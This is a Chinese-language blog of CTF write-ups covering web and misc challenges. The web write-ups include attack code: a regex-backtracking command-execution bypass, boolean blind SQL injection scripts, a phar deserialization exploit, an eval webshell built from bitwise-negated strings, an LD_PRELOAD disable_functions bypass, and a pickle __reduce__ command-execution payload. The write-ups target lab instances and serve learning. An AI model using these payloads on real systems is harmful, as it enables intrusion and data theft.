FBCTF2019RCEService

网上找到了这题的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

https://xz.aliyun.com/t/5399
跑脚本

1
2
3
4
5
6
import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'

res = requests.post("http://1a2bd44f-f0ac-4886-8ed9-fe2b868d490d.node4.buuoj.cn/", data={"cmd":payload})
print(res.text)

另一种方法

因为是prematch所以匹配的第一行 就利用换行去绕过提交json格式

1
?cmd={%0A"cmd": "ls /"%0A}

140.PNG

**putenv(‘PATH=/home/rceservice/jail’)**已经修改了环境变量所以试着从这个路径找一下

1
?cmd={%0A"cmd": "ls /home/rceservice"%0A}

141.PNG

果然flag在这 直接用绝对路径调用就可以调用flag

1
?cmd={%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}

142.PNG

布尔盲注

盲注就是在页面无提供回显时的一种继续注入手段
布尔型就是输入and 1 或者and 0 浏览器返回两个不同页面可以根据返回的页面来判断正确的数据信息
相关函数

1
2
3
4
5
6
7
8
length()
返回字符串的长度,以字节为单位,一个多字节字符算作多字节 就是假设一个包含3个双字节字符的字符串length()返回6 che_length() 返回3
substr()
从指定位置返回多少个字符 substr() 有三个参数
substr(字符串,从第几位开始,截取多长)
mid也具有相似的功能用法一致
ascii()
输出某个字符的ascii码值 只能处理单个字符 字符串的话只能是第一个字符 配合substr使用效果很好

135.PNG

select ascii(substr(database(),1,1))>114# 这边>114可以改大于小于等于 114也可以改
我这边数据库是security

137.PNG

那么大于115就返回空 那么第一个字符就是ascii码为115的字符

138.PNG

接下去就可以从第二位

select (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100查表

139.PNG

select (ascii(substr((select table_name from information_schema.columns where table_schema=database() limit 0,1),1,1)))>100查列

WUSTCTF2020颜值成绩查询

首先题目说了查询那正常是sql注入
在搜索框输入1 2 3 4 页面均有变化其他的都没有
各种’ “ 之类的符号都没有什么回显

试一下布尔盲注

1
2
if(length(database())>1,1,0) 
有回显

133.PNG

1
2
if(length(database())>3,1,0) 
无回显

134.PNG

爆表:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

s=requests.session()
flag = ''
for i in range(1,50):
for j in '{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_+=-0123456789,./?|}':
url="http://3690b471-adc4-4ce3-9854-38ef7b05bdef.node4.buuoj.cn/?stunum=if((select(substr(group_concat(table_name),{},1))from/**/information_schema.tables/**/where/**/table_schema=database())='{}',1,2)".format(i,j)
c = s.get(url ,timeout=3)
#print c.text
if 'Hi admin' in c.text:
flag += j
print(flag)
break

爆字段

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

s=requests.session()
flag = ''
for i in range(1,50):
for j in '{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_=-0123456789,./?|}':
url="http://3690b471-adc4-4ce3-9854-38ef7b05bdef.node4.buuoj.cn/?stunum=if((select(substr(group_concat(column_name),{},1))from/**/information_schema.columns/**/where/**/table_schema=database())='{}',1,2)".format(i,j)
c = s.get(url ,timeout=3)
#print c.text
if 'Hi admin' in c.text:
flag += j
print(flag)
break

爆值

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

s=requests.session()
flag = ''
for i in range(1,50):
for j in '{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_=-0123456789,./?|}':
url="http://3690b471-adc4-4ce3-9854-38ef7b05bdef.node4.buuoj.cn/?stunum=if((select(substr(group_concat(value),{},1))from/**/flag)='{}',1,2)".format(i,j)
c = s.get(url ,timeout=3)
#print c.text
if 'Hi admin' in c.text:
flag += j
print(flag)
break

buuctf misc zip

解压缩发现每个包都很小

124.PNG

其中对应的ascii码的值可以穷举,就把他全部穷举然后算一下crc32码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#python3
import zipfile
import string
import binascii

def CrackCrc(crc):
for i in dic:
for j in dic:
for k in dic:
for h in dic:
s = i + j + k + h
if crc == (binascii.crc32(s.encode())):
f.write(s)
return

def CrackZip():
for i in range(0,68):
file = 'out'+str(i)+'.zip'
crc = zipfile.ZipFile(file,'r').getinfo('data.txt').CRC
CrackCrc(crc)
print('\r'+"loading:{:%}".format(float((i+1)/68)),end='')

dic = string.ascii_letters + string.digits + '+/='
f = open('1.txt','w')
print("\nCRC32begin")
CrackZip()
print("CRC32finished")
f.close()

脚本给全部爆破出来然后把每个压缩包的内容存入1.txt 内容是base64码
解码一下发现以rar文件为结尾

125.PNG

将这解码内容写入一个新的文件

1
2
3
4
5
import base64

base64_text = open('1.txt','r').read()
byte_stream = base64.b64decode(base64_text)
open('xin.txt','wb').write(byte_stream)
1
010 添加一个rar的文件头52 61 72 21 1A 07 00

打开在注释那边找到flag

126.PNG

RoarCTF2019黄金6年
这五年你知道我是怎么过的吗?(;′⌒`) 最后就剩活着了
首先是视频丢010末尾有一段base64复制下来解码提示是rar文件

131.PNG

用上面的代码导出然后解压缩 欸不好意思有密码
那就只能从视频里面找内容了 (讨厌这种视频题,找得眼睛快瞎了)
四张二维码 key1:i key2:want key3:play key4:ctf

127.PNG

128.PNG

129.PNG

130.PNG

解压缩包即可

misc2

SWPU2019你有没有好好看网课?
文件里面的doc里面有提示 520 和 711 还提示了放大镜
神啊这关真的折磨人找了半天 在5秒20左右和7秒11左右找到如下
dXBfdXBfdXA=
….. ../… ./ … ./ … ../
有个叫做敲击码的东西用两个数字代表一个字母

79.PNG

解码得到如下wllmup_up_up 解包拿到图片010打开有一段空数据那边就有flag

MRCTF2020ezmisc crc校验问题 然后就是硬改就好了

弱口令 压缩包那边有一段注释 复制下来又是一堆的由空格和tab组合的
空格作 . tab作-
…. . .-.. .-.. —– ..-. — .-. ..- – 摩斯电码
HELL0FORUM 解码得
https://github.com/livz/cloacked-pixel

下载一个lsb隐写工具
然后根据题目弱口令猜测密码应该是123456
.\lsb.py extract .\123.png flag.txt 123456
生成flag.txt

HBNIS2018低个头 很有意思真的低下头看一下键盘然后
EWAZX RTY TGB IJN IO KL
CTF 然后还真是flag

john-in-the-middle
是个抓包文件然后发现很多http的然后到处对象为http得到几张图片

80.PNG

scanlines.png 发现很多通道都有一条白条

81.PNG

82.PNG

logo.png 这中间空了 stegsolve那边的image combiner将两个合在一起 拿到flag

83.PNG

84.PNG

BSidesCF 2019Futurella 这是web然而这关跟杂项似的 把页面的东西复制一下然后就就就有flag了 (・∀・(・∀・(・∀・*)

SUCTF2018single dog
文件分离拿到一个文档都是颜文字的这叫做aaencode将js代码转换成颜文字要解码只要把东西丢到控制台
就可以提示双十一快乐 翻译一下 翻译翻译什么tm的叫tm的双十一快乐
happydoubleeleven

123.PNG

羊城杯 2020逃离东南亚

三个压缩包日记1 无密码2 3 有
应该得一个个得到密码
日记1一个图片和文档(毫无意义的)
图片010 属性 stegsolve都没什么应该是crc校验问题高度问题改一下

102.PNG

日记2的文档这人是被骗去传销了吧 😨
test是brainfuck加密但是得在

1
首行加一串++++++++

才能解密成功

103.PNG

解密后是base64码再解密 看样子是elf格式的文件

104.PNG

用kali将结果通过标准输出重定向成一个elf文件
ida那边看一下有些东西感觉

105.PNG

这边这串看了别人的wp是正常的字这个是提示是lsb隐写

106.PNG

那应该是那个wav是lsb隐写 用silenteye将音频的内容解码出来

日记3的解压密码 107.PNG
这里头的文档看样子正常多了
因此通过源代码向外界发送求救信号是一个不错的方法

但需要满足以下几个条件:

  1. 加入代码隐写的部分不能影响源代码的编译
  2. 不能很容易被公司审计专员看出来
  3. 不能直接明文交流
    这应该是提示

GWCTF 2019枯燥的抽奖

右键看源码知道还有一个check.php可以访问

115.PNG

3qcwkpYHL4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
#这不是抽奖程序的源代码!不许看! #欸我偏要看 (~ ̄▽ ̄)~
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";

if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

拿到源码mt_scrand 这应该是伪随机数漏洞

1
2
介绍:mt_scrand() //播种 mersenne twister随机数生成器
mt_rand() //生成随机数

测试:

116.PNG

117.PNG

生成的的随机数其实是一样的
生成伪随机数是线性的可以理解成y=ax,x就是种子知道种子和一组伪随机数就能推到出y

这边是我这道题随机到的种子

118.PNG

脚本爆破

1
2
3
4
5
6
7
8
9
10
11
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='3qcwkpYHL4'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)

获得种子然后再将种子转化成字符串

119.PNG

还需要一个叫做php_mt_seed 将生成的丢这个运行

120.PNG

获得这串597890092就是种子了

1
2
3
4
5
6
7
8
9
10
<?php
mt_srand(597890092);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
?>

3qcwkpYHL4txQ32P8MOu这串传入即可获得flag

121.PNG

[BSidesCF 2019]Kookie
题目叫kookie试一下cookie注入 火狐hackbar走起

还提示了login as admin
hackbar那边cookie选项添加一个username=admin 搞定

122.PNG

CISCN2019 华北赛区 Day1 Web1Dropbox

题目这边提示php phar
注册后进行登入然后可以上传图片可以进行下载和删除
抓下载的包发现这是存在一个任意文件下载漏洞可以搞到源码之类的😏

114.PNG

下载到index.php download.php class.php delete.php
download里头就是很常规的下载文件操作而且限制了不能下载名字带有flag的

1
2
3
4
5
6
7
8
<?php
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
#省略一些代码
echo $file->close();
} else {
echo "File not exist";
}
?>

delete里头也没什么 class.php 定义用户和相关文件的类
phar:将phar传入服务器端然后有可用的魔术方法作为“跳板”
File类中close方法会获取文件内容 如果能触发该方法就可能获取flag
User类中存在close方法并且该方法在对象销毁时执行
class中的FileList存在call的魔术方法 并且没有close方法 如果一个FIleList对象调用了close()方法根据call方法的代码可以知道close方法被执行,就可能拿到flag
创建一个user的对象 db变量是一个FileList对象,其中文件名为flag的位置,这样当user被销毁时,db变量的close就会被执行就能触发call的魔术方法,从而变成执行了file对象的close方法,分析FileLIst类的构造方法,close方法执行后存在results变量的结果会加入到table变量中被打印出来也就是flag
借助phar伪协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

class User {
public $db;
}

class File {
public $filename;
}
class FileList {
private $files;
private $results;
private $funcs;

public function __construct() {
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}

}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub这边也可添加文件头进去

$o = new User();
$o->db = new FileList();

$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

运行该脚本生成的文件修改格式后上传
删除的时候burp抓包然后修改参数

1
filename=phar://phar.png

极客大挑战 2019RCE ME

首先老样子一来就是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

// ?>

这边需要绕过正则表达式而且有长度限制可以直接使用取反urlencode编码绕过

https://blog.csdn.net/mochu7777777/article/details/104631142 这位大佬介绍了各种绕过方法
先phpinfo看一下禁止了哪些功能

1
2
3
<?php
echo urlencode(~'phpinfo');
?>

payload: ?code=(~%8F%97%8F%96%91%99%90)();

109.PNG

构造shell连接

1
2
3
4
5
6
7
8
9
<?php
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[aaa]))';
$d=urlencode(~$c);
echo $d;
?>

禁用了一堆的功能

110.PNG

可以连接但是只能从readflag里面拿到flag flag是空的

bbbb.PNG

可以用蚂剑的绕过disabled_function插件选择PHP_GC_UAF就可以运行那个readflag (这是非预期解法)

bbbbb.PNG

预期解通过Linux提供的LD_preload+mail劫持so来执行系统命令 在启动子进程使新的子进程会加载恶意的so拓展然后
我们可以通过so里面定义同名函数劫持api调用
这边disable_functions 禁用了system
找到了大佬写好的文件 https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
可以用先将bupass_disablefunc_x64.so用蚁剑传入
在传入这个脚本

1
2
3
4
5
6
7
8
9
10
11
12
<?php
// exp.php
$cmd = "/readflag";
$out_path = "/tmp/1.txt";
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = "/tmp/bypass_disablefunc_x64.so";
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>

最终步骤:

1
code=$_=~(%A0%B8%BA%AB);${$_}[__](${$_}[___]);&__=assert&___=include%20%22/tmp/exp.php%22;

CISCN2019 华北赛区 Day1 Web2ikun

首先有个提示要买到lv6 写脚本跑一下

86.PNG

1
2
3
4
5
6
7
8
9
import requests
url="http://11567a81-35e3-46e0-ba53-717f767dec32.node4.buuoj.cn/shop?page="

for i in range(0,2000):

​ r=requests.get(url+str(i))
​ if 'lv6.png' in r.text:
​ print (i)
​ break

在第181页 lv6

价格太贵了买不起抓包改包 改discoount的值

87.PNG

到达新世界但是要admin权限 然后就不会了 ╮(╯▽╰)╭

88.PNG

看别的大佬的文章 需要伪造jwt 那么什么是jwt

https://www.cnblogs.com/cjsblog/p/9277677.html

https://jwt.io/ 用来查看jwt包含的信息 jwt的官网
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMyJ9.t_quUTD2cAx9tGvCi1tmfSmgP_z_hr2N8lx_Ij5bh78

需要将username改为admin 但是后面的部分需要破解key sha256的加密算法
得破解一下 工具:https://github.com/brendan-rius/c-jwt-cracker

90.PNG

生成一下新的jwt

91.PNG

92.PNG

成功进入新页面查看源码发现新的页面然后页面的源码可以下载下来了

93.PNG

题目这边提示pickle

1
2
3
pickle或cPickle,作用和PHP的serialize与unserialize一样,两者只是实现的语言不同
pickle是python语言的一个标准模块,实现了基本的数据序列化和反序列化。
pickle模块是以二进制的形式序列化后保存到文件中(保存文件的后缀为.pkl),不能直接打开进行预览。
1
2
3
4
5
6
7
8
9
#序列化
pickle.dump(obj, file, protocol=None,)
obj表示要进行封装的对象(必填参数)
file表示obj要写入的文件对象
以二进制可写模式打开即wb(必填参数)
#反序列化
pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)
file文件中读取封存后的对象
以二进制可读模式打开即rb(必填参数)

讲解pickle反序列化漏洞的文章https://blog.csdn.net/qq_43431158/article/details/108919605

1
2
3
setting.py那边有个hint 一串Unicode 解码一下

这网站不仅可以以薅羊毛,我还留了个后门,就藏在lv6里

刚才lv6购买后那边提示要admin权限那可能在一个叫做admin的文件里面
admin.py 里面发现了pickle

94.PNG

1
self.render('form.html', res=p, member=1) 

意思是找到模板文件进行渲染然后显示画面
看一下form.html

95.PNG

传入可以直接回显并将自定义的类进行序列化和反序列化,存在pickle反序列化漏洞,可以构造一个pickle.dumps序列化payload,从而被解析读取东西
payload构造使用_ ruduce _(self)需要先获取flag的位置后进行读取
os.system 调用系统命令完成后退出返回结果是命令行执行状态一般是0
os.popen() 无法进行读取程序执行的返回值
这俩只能print输出是才有回显,以return返回没有回显
使用commands.getoutput()这个函数来进行代替

1
2
3
4
5
6
7
8
9
10
11
12
# coding=utf8

import pickle
import urllib
import commands

class payload(object):
def __reduce__(self):
return (commands.getoutput,('ls /',))

a = payload()
print urllib.quote(pickle.dumps(a))

跑得ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.
然后发包

flag在flag.txt
(‘ls /‘,)->(‘cat /flag.txt’)
就好了